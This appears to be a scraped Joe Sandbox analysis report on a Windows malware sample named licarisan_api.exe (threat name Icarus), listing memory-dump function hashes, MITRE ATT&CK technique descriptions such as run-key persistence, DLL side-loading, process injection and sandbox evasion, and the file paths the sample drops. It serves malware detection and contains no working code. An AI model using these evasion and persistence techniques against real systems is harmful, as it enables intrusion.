Instruction ID: 76d97cdd492e4d4c6911d18de9527753c07ae6f3f78afbe743b19d945e4b8f90
Opcode Fuzzy Hash: 0a7f807c2eee09b85208eab72547774a0bacb105a9115f257614101d001e3769
Instruction Fuzzy Hash: F2F08473A083908FE7209769C8183E9BFF0EF92320F24808AC49FCB560D2399886C751

Analysis Process: cvtres.exePID: 7640, Parent PID: 7584COMMON

Executed Functions

Function 0125D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506142182.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_125d000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1998f90c64352c7f85b716ddd9e6b9586c4aaf1318dbf32530b2b0d599778d7
Instruction ID: 1645b7e086e428b6525917335697830af7a68dddf00dcdf747b4f77a90519bc8
Opcode Fuzzy Hash: a1998f90c64352c7f85b716ddd9e6b9586c4aaf1318dbf32530b2b0d599778d7
Instruction Fuzzy Hash: B1212371624308DFDB61DF54D9C4B26BB65FB84364F20C569ED490B342C37AD44BCAA2

Function 0125D1CC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506142182.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_125d000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7350bac7b972eb764e157d6d5a347e089619cd5449d42b214ee64f36f908ce82
Instruction ID: 61510ece4b272e0e0bd092fbc95192ba643bfda4bbdd23a86c10f276629b35ec
Opcode Fuzzy Hash: 7350bac7b972eb764e157d6d5a347e089619cd5449d42b214ee64f36f908ce82
Instruction Fuzzy Hash: 382122B5A14308DFDB45DF94D9C0B16BB61FB84324F20C56DDD098B287C776D846CA62

Function 0125D006 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506142182.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_125d000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162b121a473dab6e416c293d5c92dd64702b345b5c524d1d25d196d128461c53
Instruction ID: 628b7501aa82eaea5ccf37ee480222e3688d6d0915b3f65b352c7e23c4d087b8
Opcode Fuzzy Hash: 162b121a473dab6e416c293d5c92dd64702b345b5c524d1d25d196d128461c53
Instruction Fuzzy Hash: C521AE765093848FDB13CF24D9D0715BF71EB85324F28C5EAD9488B693C33A940ACB62

Function 0125D1C7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506142182.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_125d000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 1095fb20f6a05e2acaee0f50624a8f06fcaa47e7774ca4e8a9b7a573f901177d
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: A011BB79504284DFDB06CF54D5C0B15BBA2FB84324F24C6ADDD498B297C33AD84ACB61

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report licarisan_api.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Icarus

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

E-Banking Fraud

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\csc.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ceqaybs.45w.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bqkrcmaq.cgt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2104e5b.dcw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrhjmc3t.wyx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mm0x4urf.cpv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxopufqs.t4g.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pc4uiqqm.0fh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r4fokjcz.xcs.psm1

C:\Users\user\AppData\Roaming\temp0923

C:\Users\user\Music\OcoulsUpdater\EyesUpdater.exe

Windows Analysis Report
licarisan_api.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre